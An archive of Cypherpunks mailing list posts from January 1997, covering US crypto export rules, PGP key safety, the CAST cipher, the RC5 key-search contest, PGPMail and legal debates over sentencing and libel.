Subject: Re: Complying with the EAR [was: More Circumventing the ITAR]
Message-ID: <199701311706.JAA17979@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, Sean Roach wrote:
> At 11:14 AM 1/29/97 -0700, Michael Paul Johnson wrote:
> >On Tue, 28 Jan 1997, Mark Rosen wrote:
> >
> >> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> >> about "unrestricted FTP sites." My program, Kremlin, is available for
> >
> >You should check the exact text yourself, but the way I read the EAR, you
> >are not "exporting" strong cryptographic software without a license (exept
> >to Canada, which needs no license) if you do things "such as"
> >(1) have the guests to your site acknowledge that the EAR restricts
> >export, (2) have the guests affirm that they can legally get the software
> >(proper citizenship or residency & location), and (3) "check the address
> >of the destination computer to see if it is in the USA" or Canada. The
> >last one, I interpret rather loosely to mean that if the guest's email
> >address domain isn't one commonly used in the USA or Canada, then I deny
> >access. We all know that not all .com addresses are North American, but
> >chances are really good that if the address ends in .ru, then the
> >destination machine is probably not in North America. This is not a
> >perfect way to prevent export, of course, but it is what the regulations
> >say, as I read them. For a pointer to the regulations and to my access
> >request form and crypto site, see http://www.sni.net/~mpj/crypto.htm
> ...
> An easy crack to that would be to request access from a hotmail, or
> similair, account.  This account would show up as being on US soil while the
> account holder would not necessarily be so.  In this way, someone with an
> account ending in your .ru would get through because h[is/er] e-mail request
> originated from inside the U.S.

If that is the only chink in the armor you see, then you aren't looking
very hard. The point of this system is not to prevent exports, but to (1) 
comply with the letter of the law by discouraging export in the specified
manner, (2) to comply with the spirit of the law by reducing the number of
exports of cryptographic software from the USA, while (3) making
publication of strong cryptographic software in North America easy and
safe from legal persecution. Without point (3), the national security of
the USA would be harmed, IMHO, by the fact that proportionally more
dishonest people (the ones the NSA and FBI are quict to draw attention to)
than honest ones (the majority of the people who want to use strong
cryptography to protect their privacy and business interests from the
dishonest folks) would use strong cryptography. 

The only reason I can think of that the U. S. Commander-in-Chief and
President of the United States of America and his staff have determined
that export of strong cryptographic software can harm "national security" 
even when such software already is available outside of the USA, is that
they are really more concerned about the numbers of people that use such
software regularly, and therefore, they want to limit the total bandwidth
of distribution capacity and ease of retrieval of such software. Export
controls can effectively do both, even if they cannot realistically
prevent export.

Think about it. It was a pain to set up the EAR-compliant site that I set
up compared to a simple site for global distribution, and few people would
go through the hassle. Many major information services and ftp sites
simply disallow strong cryptographic software rather than go through the
hassle. Because of this, it is probably true that fewer people find,
download, and use strong cryptographic software.

Until more people set up more strong cryptographic software distribution
sites and write more good, secure, robust, easy-to-use cryptographic
software such that it is about as easy to find and use it as not to, the
Feds win. Their point is proven. Fewer people use strong cryptography than
would otherwise, and some small (but, to them, significant) percentage of
those people who were discouraged from using strong cryptographic software
might have used that software in a criminal activity. Too bad about the
good guys who could have prevented computer crime or worse with the same
technology, huh?

http://www.sni.net/~mpj/crypto.htm

 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Fri, 31 Jan 1997 12:02:38 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: Key Security Question
Message-ID: <199701312002.MAA21383@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My computer went into the shop a few days ago, and I was unable to take 
my PGP keys off it before it went in.  What are the security risks here?  
If the repairman chooses to snoop through the files, what would he be 
able to do with my key pair?  Will I need to revoke the key and make a 
new one, or will I be relatively safe since he doesn't have my 
passphrase?  



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 31 Jan 1997 11:56:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Constitutional Right to Annoy?
Message-ID: <199701311956.LAA21259@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Today's New York Times web page's Cybertimes section has an article
on a new lawsuit that claims a constitutional right to annoy. Among
other things, annoy.com will provide a way to "send anonymous e-mail
messages to public figures."

They're suing the CDA.

http://www.nytimes.com/library/cyber/week/013197annoy.html

(Assuming I retyped it correctly.)

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Date: Fri, 31 Jan 1997 12:03:28 -0800 (PST)
To: Ng Pheng Siong <ngps@pacific.net.sg>
Subject: Re: CAST
Message-ID: <199701312003.MAA21433@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, Ng Pheng Siong wrote:

> Hi,
> 
> Attended a presentation by Milkyway, vendor of the BlackHole firewall, which also does VPN.
> Supposedly the symmetric cipher used in the VPN is called CAST. Anyone has any info on it? 
> TIA. Cheers.

It's a canadian cipher.  It's inventors have the initials C.A. and S.T.  pure
coincidence they say.  it's got a little write-up in Appl. Crypto 2, and I'll
post anything I can about it as soon as I get home.  I don't have my copy of
ac2 on me...  I do remember that it's patented, and you have to talk to these
folks for licences I believe.... more to come later.

PLUR
chris

--
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Fri, 31 Jan 1997 05:56:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: misc. security url
Message-ID: <199701311356.FAA14199@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


forwarded message...
 In> Subject:      Computer Crime and Investigations Center

 In> I have put together a Computer Crime and Investigations Center

 In> URL: http://www.ovnet.com/~dckinder/crime.htm

 In> This page points you to sources of information pertaining to various
 In> issues relevant to Computer Crime and Security.

 In> Topics covered include:

 In> What Problems Can Arise
 In> An Ounce of Prevention...
 In> How it is done
 In> Detecting whether you have a problem
 In> Search and Seizure of Computer Equipment
 In> Is Big Brother Watching You?
 In> The Enigma of Encryption
 In> Viruses
 In> NT Security
 In> What issues are specific to the World Wide Web?
 In> Law Reviews
 In> General Sites

 In> Duncan Kinder
 In> dckinder@ovnet.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Yuri Sorkin <sorkin@crl.crl.com>
Date: Fri, 31 Jan 1997 12:57:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: RC5-12/32/5 contest solved. Who gets a credit?
Message-ID: <199701312057.MAA22639@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


stewarts@ix.netcom.com
Tue, 28 Jan 1997 21:37:57 -0800 

At 09:55 PM 1/28/97 +0100, Germano Caronni <caronni@tik.ee.ethz.ch>
wrote:
>challenge: RC5-32/12/5
>time: from start of contest until Tue Jan 28 21:54:58 1997
>method: massive distributed coordinated keysearch, details later

which was a bit slower than Ian Goldberg's crack, but pretty close.
---------------------------------------------------------------------------
Huh!? Goldbeg's announce states that he spent about 3.5 hours, i.e. a
solution came not earlier than 12.30 PST, while Caronni got it at 11.55
am PST.

Yuri Sorkin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Fri, 31 Jan 1997 11:56:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Secret" Postal Device stolen
Message-ID: <199701311956.LAA21284@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

from http://www.herald.com/dade/digdocs/021949.htm

Postal Service offers $25,000 reward for stolen . . . something

By ARNOLD MARKOWITZ Herald Staff Writer 

    U.S. mail carriers carry more than just the U.S. mail.
They carry something else so secret that nobody outside the
Postal Service knows about it -- except four crooks who steal
them from letter carriers on the streets of Miami. There's a
$25,000 reward for tips producing capture and conviction.

...

Comments?
Please direct any replies for the list to me also, as I am
still on Ray's FCPUNX, which I suppose makes this list
double-filtered for me now, if a little delayed. :-)

Typically, I now care what the mystery device is, since the
occasionally-disgruntled ones don't want me to know.
JMR


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEPAwUBMvIhGzUhsGSn1j2pAQEp5wfPQ1YsiZviksusdbdVQHBz9yKMOSt5z3Ue
Utlmxzx8RExqjaTc/cSLORf55pBWbJiDFB+a+ev09I2iZujq7nlNNCZNI0NaHw2L
RObAjBQ4YT7sekWYMw81y08zH9x49OmAhh7CCh2qzh5ZyQ0qc3YdFzmc8F00+jdW
J9ZsXSvJaBS+Jvh/eIPH+IlD873hyk6T4Nrayt0xt2z6Ajvst0XK5vOLkeJobZg3
+x8IyS26/bcrWGkKD/4rK81/QDmLIyHG7oWzaJAR1q6UKCad0C1w6/i2dwWtWV1v
RyXfyYTgXi8XPbieBL7RZmP0j3A0xqlCr4PASMuZskBa+g==
=Kspp
-----END PGP SIGNATURE-----

Regards, Jim Ray <jmr@shopmiami.com>
DNRC Minister of Encryption Advocacy

One of the "legitimate concerns of law enforcement" seems to be
that I was born innocent until proven guilty and not the other
way around. -- me

http://shopmiami.com/prs/jimray/    
PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5  57 52 64 0E DA BA 2C 71







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rex <rshea@netcom.com>
Date: Fri, 31 Jan 1997 18:02:26 -0800 (PST)
To: unicorn@schloss.li
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702010202.SAA29775@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn <unicorn@schloss.li> wrote:

>If you want to look at it a different way, if you are involved with a drug
>offense and are not using a weapon, you'll get a lower sentence than a
>full fledged drug crime.  It's a step in the right direction - i.e. away
>from manadatory sentencing of a flat time period for a crime regardless of
>circumstances.

But Putra got the same sentence she would have gotten had she been
convicted on both charges. The fact that she was acquitted meant nothing.

UNITED STATES v. VERNON WATTS
UNITED STATES v. CHERYL PUTRA
on petition for writ of certiorari to the united
states court of appeals for the ninth circuit
No. 95-1906.  Decided January 6, 1997

  Per Curiam.

In these two cases, two panels of the Court of Appeals for the Ninth
Circuit held that sentencing courts could not consider conduct of the
defendants underlying charges of which they had been acquitted.
United States v. Watts, 67 F. 3d 790 (CA9 1995) (-Watts-); United
States v. Putra, 78 F. 3d 1386 (CA9 1996) (-Putra-).
[...]
Because the panels' holdings conflict with the
clear implications of 18 U. S. C. 3661, the Sentencing Guidelines,
and this Court's decisions, particularly Witte v. United States, 515
U. S. ___ (1995), we grant the petition and reverse in both cases.
[...]

  Justice Stevens, dissenting.

  The Sentencing Reform Act of 1984 revolutionized the manner in
which district courts sentence persons convicted of federal crimes.
Burns v. United States, 501 U. S. 129, 132 (1991). The goals of
rehabilitation and fairness served by individualized sentencing that
formerly justified vesting judges with virtually unreviewable
sentencing discretion have been replaced by the impersonal interest
in uniformity and retribution.
[...]

                     II

  The issue of law raised by the sentencing of Cheryl Putra involved
the identification of the offense level that determined the range
within which the judge could exercise discretion.  Because she was a
first offender with no criminal history, that range was based
entirely on the offense or offenses for which she was to be punished.
She was found guilty of aiding and abetting the intended distribution
of one ounce of cocaine on May 8, 1992, but not guilty of
participating in a similar transaction involving five ounces of
cocaine on May 9, 1992.  United States v. Putra, 78 F. 3d 1386, 1387
(CA9 1996).  If the guilty verdict provided the only basis for
imposing punishment on Ms. Putra, the Guidelines would have required
the judge to impose a sentence of no less than 15 months in prison
and would have prohibited him from imposing a sentence longer than 21
months.

  If Putra had been found guilty of also participating in the 5 ounce
transaction on May 9, 1992, the Guidelines would have required that
both the minimum and the maximum sentences be increased; the range
would have been between 27 and 33 months.  As the District Court
applied the Guidelines, precisely the same range resulted from the
acquittal as would have been dictated by a conviction.
Notwithstanding the absence of sufficient evidence to prove guilt
beyond a reasonable doubt, the alleged offense on May 9 led to the
imposition of a sentence six months longer than the maximum permitted
for the only crime that provided any basis for punishment.

  In my judgment neither our prior cases nor the text of the statute
warrants this perverse result. And the vigor of the debate among
judges in the courts of appeals on this basic issue belies the ease
with which the Court addresses it, without hearing oral argument or
allowing the parties to fully brief the issues.
[...]

  Even more than Williams, this Court, like all of the Circuits that
have adopted the same approach as the District Courts in these cases,
relies primarily on the misguided five-to-four decision in McMillan
v. Pennsylvania, 477 U. S. 79 (1986). For the reasons stated in my
dissent in that case, id., at 95-104, I continue to believe that it
was incorrectly decided and that its holding should be reconsidered.
Even accepting its holding that the Constitution does not require
proof beyond a reasonable doubt to establish a sentencing factor
that increases the minimum sentence without altering the maximum,
however, there are at least two reasons why McMillan does not dictate
the outcome of these cases.

  In McMillan, as in these cases, the defendant's minimum sentence
was enhanced on the basis of a fact proved by a preponderance of the
evidence. But in McMillan, the maximum was unchanged; the sentence
actually imposed was within the range that would have been available
to the judge even if the enhancing factor had not been proved. In
these cases, however, the sentences actually imposed were higher than
the Guidelines would have allowed without evidence of the additional
offenses. The McMillan opinion pointedly noted that the Pennsylvania
statute had not altered the maximum penalty for the crime committed
and operated solely to limit the sentencing courts' discretion in
selecting a penalty within the range already available to it without
the special finding of visible possession of a firearm. Id., at
87-88. Given the Court's acknowledged inability to lay down any
`bright line' test that would define the limits of its holding, id.,
at 91, and its apparent assumption that a sentencing factor should
not be allowed to serve as a tail which wags the dog of the
substantive offense, id., at 88, see also ante, at 7, n. 2, the
holding should not be extended to allow a fact proved by only a
preponderance to increase the entire range of penalties within which
the sentencing judge may lawfully exercise discretion.
[...]

  In my opinion the statute should be construed in the light of the
traditional requirement that criminal charges must be sustained by
proof beyond a reasonable doubt. That requirement has always applied
to charges involving multiple offenses as well as a single offense.
Whether an allegation of criminal conduct is the sole basis for
punishment or merely one of several bases for punishment, we should
presume that Congress intended the new sentencing Guidelines that it
authorized in 1984 to adhere to longstanding procedural requirements
enshrined in our constitutional jurisprudence. The notion that a
charge that cannot be sustained by proof beyond a reasonable doubt
may give rise to the same punishment as if it had been so proved is
repugnant to that jurisprudence.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Fri, 31 Jan 1997 12:02:34 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cats Out of Bags
Message-ID: <199701312002.MAA21377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> > "Other governments were upset with the 56-bit export allowance. 
> > They said it was going to undermine their national security."
> 
> On this point, the other governments are correct.
> It really _is_ tougher to maintain a nation-state when your
> former subjects can have private conversations with each other
> and with other governments' former subjects......
> And even 56 bits is a start.

	Full strength crypto is already available worldwide. It makes
not one iota of difference.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 31 Jan 1997 11:55:55 -0800 (PST)
To: Ng Pheng Siong <ngps@pacific.net.sg>
Subject: Re: CAST
Message-ID: <199701311955.LAA21244@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For a paper on CAST see:

   http://www.nortel.com/entprods/entrust/cast.html

"Constructing Symmetric Ciphers Using the CAST Design Procedure"

By Carlisle M. Adams







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 31 Jan 1997 14:12:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
Message-ID: <199701312212.OAA24367@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


PJ wrote me in email:

>A slight correction.  The ``bernstein etc.'' cases are not about the
>right to have strong crypto.  There is no United States law forbidding
>one from having or using crypto, hard, soft, or squishy.  Those cases
>challenge regulations that keep one from publishing information about
>crypto including cryptographic software.  Even if it were made illegal
>to use hard crypto, it would still be a violation of the First
>Amendment for the government to require a license before one is
>allowed to publish information about crypto or anything else.

I consider it a violation of free speech if the government
made "hard crypto" illegal. yes, these cases are generally 
challenging the publishing aspects of crypto in the US, but
this is not what I consider the most important constitutional
ingredient in favor of crypto. crypto is essentially a kind
of speech, or communication. hence restricting it would be
like outlawing a certain foreign language that the government
doesn't understand. 

in my opinion, this is the most important,
root case to be made for the use of crypto in this country. 
publishing crypto algorithms is only a side issue compared to this,
imho.

so the bottom line is this: crypto regulations can be challenged
under the idea that they are restricting freedom of the press,
i.e. for academics to discuss algorithms, or it can be challenged
under freedom of speech issues, i.e. everyone has the right
to use codes for whatever purpose. currently because the regulations
prohibit the "export" of crypto code, the first route is the
basic challenge that makes the most sense. but I'd like to see
the ITAR challenged on the second grounds as well, i.e. as
a free speech issue. there's less reason when the gov't is not
trying to regulate domestic crypto, but it might be a relevant
angle in the export debate.

BTW, I understand that there are cases being made by 
Karn, Junger, and Bernstein, is that correct? with Junger being 
the most recent?  does anyone have web pages dedicated to each
one of these?

thanks;






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 31 Jan 1997 05:56:17 -0800 (PST)
To: "William H. Geiger III" <cypherpunks@toad.com
Subject: Geiger and long, unreadable lines
Message-ID: <199701311356.FAA14212@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    If Geiger's software works as well as his ongoing comprehension of
    the problem 90 to 100 character long mail message lines cause, we
    are all in trouble.

    mail which might be forwarded, commented a few times, etc. really
    works best with 72-74 characters maximum per line.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMvHtjr04kQrCC2kFAQHEeQP/UbYtlFD34UbhHhVbFIXjDxv4KjIb6tD7
y9pkoixaMHw3x2RABC6xjRcRGQ1pLo3ySLS/xbfEmAcR/kjKd2z2SpCSibspXi4n
HZ41PnSaPYi2zptR4hQ4mG3d/7EjidVOF4RnMaWB+a0089GvGzYP2xK8YIGiIQBW
lToR9lyqDGQ=
=fSkd
-----END PGP SIGNATURE-----










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 31 Jan 1997 14:12:03 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: PGPMail 4.5 Released!
Message-ID: <199701312212.OAA24353@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 31 Jan 1997, Duncan Frissell wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 06:29 AM 1/31/97 -0500, you wrote:
> >And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!
> >
> 
> I just email PGP sales with that question.

I just got off the phone with PGP sales.  Currently PGPMail is only
available off if the web site for download.  The version on disk will be
available sometime mid February.

So it looks like if you want it now it is going to cost you $149.  If you
wait until mid February, you can get it at the lower price (plus $10
shipping and handling).

BTW, it does use SSL on the order form, though I have my doubts about the
security of sending form data from an insecure page to a secure form cgi.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 31 Jan 1997 12:01:58 -0800 (PST)
To: David Farber <farber@cis.upenn.edu>
Subject: Re: PGPMail 4.5 Released!
Message-ID: <199701312001.MAA21361@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:29 AM 1/31/97 -0500, you wrote:
>And what happened to the $29 discount price they proposed for 2.6.3 users and viuacrypt users!!!!!!!!!!!!
>

I just email PGP sales with that question.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvJBCIVO4r4sgSPhAQEZ4wP/RWERsyjzsVURKR5rBZx3DKoj6dDDRvIP
vNGbE3UnI/hqiRaZSf6P/36MnM2dQ8yIbbmlvsWV3N4m9moBUnvY6hy3elbwFTkE
P+cICHcm3S0uW68aZ/vKK4sasg+WJgd+YLBwdQWkZc8GBn8Ut6mJE7sVXEiJWNMC
WgFjwMALh7A=
=j4+j
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chad Robinson <chadr@brttech.com>
Date: Fri, 31 Jan 1997 12:55:18 -0800 (PST)
To: linux-ipsec@clinet.fi
Subject: Quick question
Message-ID: <199701312055.MAA22559@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


How does the current Linux IPSEC release work?  Is it a kernel patch or
module?  A daemon?  I'd love to try this out on a local LAN here to see it
in action, but don't have too much time these days.

Best regards,
Chad


--------------------------[ Chad Robinson (Task) ]----------------------------
Senior Systems Analyst                  chadr@brttech.com
BRT Technical Services Corporation      http://www.brttech.com/~chadr
-----------------[ Why is `abbreviation' such a long word? ]------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Don Juan De Marco <mohanjm@emirates.net.ae>
Date: Fri, 31 Jan 1997 05:56:13 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: uae_1.html
Message-ID: <199701311356.FAA14208@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>jim bell wrote:
>
>> I wonder what these people will think when organizations like Teledesic and
>> Iridium start operating (low-earth-orbit satellites) to allow
>> totally-wireless connectivity.  It seems to me that there will be a market
>> for services that allow anonymous browsing, perhaps with encrypted requests
>> that return otherwise-unidentified data on a publicly-accessible airwaves.
>
>  Think of the possibility of satellite-fed 'roving' InterNet sites.
>  What will be the 'export' implications of sending crypto to a place
>such as site.nowhere, site.somewhere, and site.intheUS-hee-hee.
>
>Toto
>
>
>Is there anyway to aviod the proxy??? please reply!!
>
>
>Don Juan
>
>
>
>
                                         






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ng Pheng Siong <ngps@pacific.net.sg>
Date: Fri, 31 Jan 1997 11:55:59 -0800 (PST)
To: cryptography@c2.net
Subject: CAST
Message-ID: <199701311955.LAA21251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

Attended a presentation by Milkyway, vendor of the BlackHole firewall, which also does VPN.
Supposedly the symmetric cipher used in the VPN is called CAST. Anyone has any info on it? 
TIA. Cheers.

-- 
Ng Pheng Siong <ngps@pacific.net.sg> * Pacific Internet Pte Ltd * Singapore
PGP: send mail with subject "send pgp key".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mutatis Mutantdis <wlkngowl@unix.asb.com>
Date: Fri, 31 Jan 1997 08:56:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGPMail Log File
Message-ID: <199701311656.IAA17725@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 09:27:45 -0500, you wrote:

>At 02:22 AM 1/31/97 +0000, "Robert Rothenburg 'Walking-Owl'" 

>< WlkngOwl@unix.asb.comwrote:
>> Is there a way to disable the \WINDOWS\PGPW_32.LOG?
>> In subtle ways it's a security hole if left to accumulate over time,
>> since it keeps records of which keys you encrypted messages to.
>> [..]
>> I understand in certain group/corporate environs one would want 
>> logging; in others, one doesn't need it or should have the option (in 
>> an easily found place) to wipe it every once in a while.

>This is a damn good question.  I do NOT have the "write to a log file"
>option slected in the misc. tab and it STILL writes a log file.  How DO
>we disable this?

Well, I just found that option to uncheck it (thanks to your message) so
I'll try it w/the log file unchecked and see what happens. (Duh!)

Rob










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: William Knowles <erehwon@c2.net>
Date: Fri, 31 Jan 1997 20:26:59 -0800 (PST)
To: cryptography@c2.net
Subject: PCS Encryption?
Message-ID: <199702010426.UAA03503@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In light of recent events with the Speaker of the House Newt
Gingrich having his cellular phone call recorded and given to 
the Democrats I went out and bought a Primeco digital phone
which uses CDMA technology to scramble the calls and makes
passive listening next to impossible.  (Primeco is a PCS phone)

I have been having one helluva a time trying to find more
information on the encryption used with Primeco, I have 
spoken to customer service twice & the local rep told me that
the the Chicago FBI asked Primeco to shut off a phone this
week because they can't listen in on what is been said,
To which the the Primceco guys reply, If the feds can't listen
in then I shouldn't be worried.

This only tells me that the Chicago FBI doesn't have the 
technology in town for now to listen in.  

Excuse me if this posting is a little off topic, But I have
nearly looked everywhere on the WWW to no avail.

Thanks in advance!

William Knowles
erehwon@c2.net


--
William Knowles    <erehwon@c2.net>
PGP mail welcome & prefered / KeyID 1024/2C34BCF9
PGP Fingerprint 55 0C 78 3C C9 C4 44 DE   5A 3C B4 60 9C 00 FB BD
Finger for public key
--
WW III is a guerilla information war, with no divison between 
military & civilian participation  -- Marshall McLuhan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 31 Jan 1997 14:13:55 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701312213.OAA24431@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 30 Jan 1997, Jim Choate wrote:

> > * Many 1st Amendment experts don't believe in the legal concept of libel.
> > It is, they say, a rich man's game
>
> Exactly, instead of equal protection under the law we have a specieocracy.

Anyone can afford a contingency-free attorney as long as the plaintiff has a
good chance of being awarded damages.  This has the benefit that the legal
system doesn't get overcrowded with frivolous cases.

> > -- if I'm libeled by the NYT, I'm
> > probably not going t be able to sue them, but Donald Trump can. Moreover,
> > if I don't have the resources to sue but the statement is libelous, it
> > creates a *presumption* in the minds of the readers that the article is
> > certainly true. (If it were not, I would have sued, right?)
>
> Another good example of why our system is broke.

If the legal concept of libel is abandoned, this presumption will largely
disappear.  People will have to rely on the credibility of the source, instead
of whether or not the victim of libel has sued.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMvJkASzIPc7jvyFpAQESzAf+Km41fJ4vhavBizPODBuzM8OpolOHFUIy
N45inFeUGtsaPH5BBz0T4blAlfgKoYU7N72E/nxbLx+QHZ42oQxcsvtoxiS/zjW8
ilygkVyVxsokueexwLo1QbBn87XIYHbyJBX2Tom31I5iw67caMAfKibnQoVEb1/r
8wlLe00CVB/rkob3QMO1VpT+FLl68+qjo+xfvCNe/GyyvJe0soppnh+croNSWA7R
uksNa18XENdntBmy5UDqyCrTfLI40rZkd4wYoTkOy7K2eq1cz2uSO9J2BJOpHnh6
zh4JtXI5UVYOvj3BMbYe0v7Cs/V+1e/eLtqyMNvFGNM2jdl2f39G6w==
=lYDr
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 31 Jan 1997 18:01:31 -0800 (PST)
To: letters@sjmercury.com
Subject: News: Panic! Internet is full of terrorists!
Message-ID: <199702010201.SAA29740@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm really sick and tired of this hypocritical bullshit from our
executive branch.  On one hand, we have FBI + CIA + NSA crying
terrorists and child pornographers can get away with their crimes if
networks are secured with cryptography.  On the other hand, we also
have presidential panels crying that our networks are vulnerable to
terrorists if we don't do some serious security overhauls.

What the *#@!! do they want?  If you outlaw security software, then
stop whining that the networks aren't secure!  If you want secure
networks, stop whining about the encryption "problem".

Either the network is secure or it isn't.

YOU CAN'T HAVE IT BOTH WAYS!

Ern

-------- QUOTED ARTICLE FROM: San Jose Mercury (Jan 31, 1997)

 PRESIDENTIAL PANEL WARNS OF CYBERATTACK THREAT

 Critics charge danger overstated, could lead to unwarranted
 intrusion on Net

 Published: Jan. 31, 1997

 BY RORY J. O'CONNOR
 Mercury News Washington Bureau

 WASHINGTON -- The United States faces a serious risk of
 cyberattacks against vital computer-controlled networks,
 attacks that could threaten the nation's security or
 economy, according to a presidential commission evaluating
 the threat.

 [SNIP]

--------
Ernest Hua, Software Sanitation Engineer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 31 Jan 1997 17:43:36 -0800 (PST)
To: Michael Paul Johnson <mikej2@exabyte.com>
Subject: Re: Complying with the EAR [was: More Circumventing the ITAR]
Message-ID: <199702010143.RAA29295@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Paul Johnson wrote:

> If that is the only chink in the armor you see, then you aren't looking
> very hard. The point of this system is 

Michael,
  Enjoyed your post.
  The motivations underlying U.S. crypto policy are indeed
multi-faceted,
and it is always good to have a variety of well-thought out opinions as
to some of the various impetus' behind the machinations of the different
governmental departments, etc., which encompass the wide range of those
involved in setting and enforcing crypto policy.
  No matter what the original motivations or pre-conceived plans behind
the initial impetus towards the regulation of crypto, once 'policy' 
enters the governmental maze it takes on a life of its own, subject
to whims and vagarities of departments and individuals which reflect
a confusing kalidescope of concerns which are both parallel and tangent
to the starting vector.
  I would imagine that, 1,000 years from now, students might well be
taught that Phil Zimmerman was responsible for World War III, with the
CypherPunks bearing much of the blame, as well.

Toto
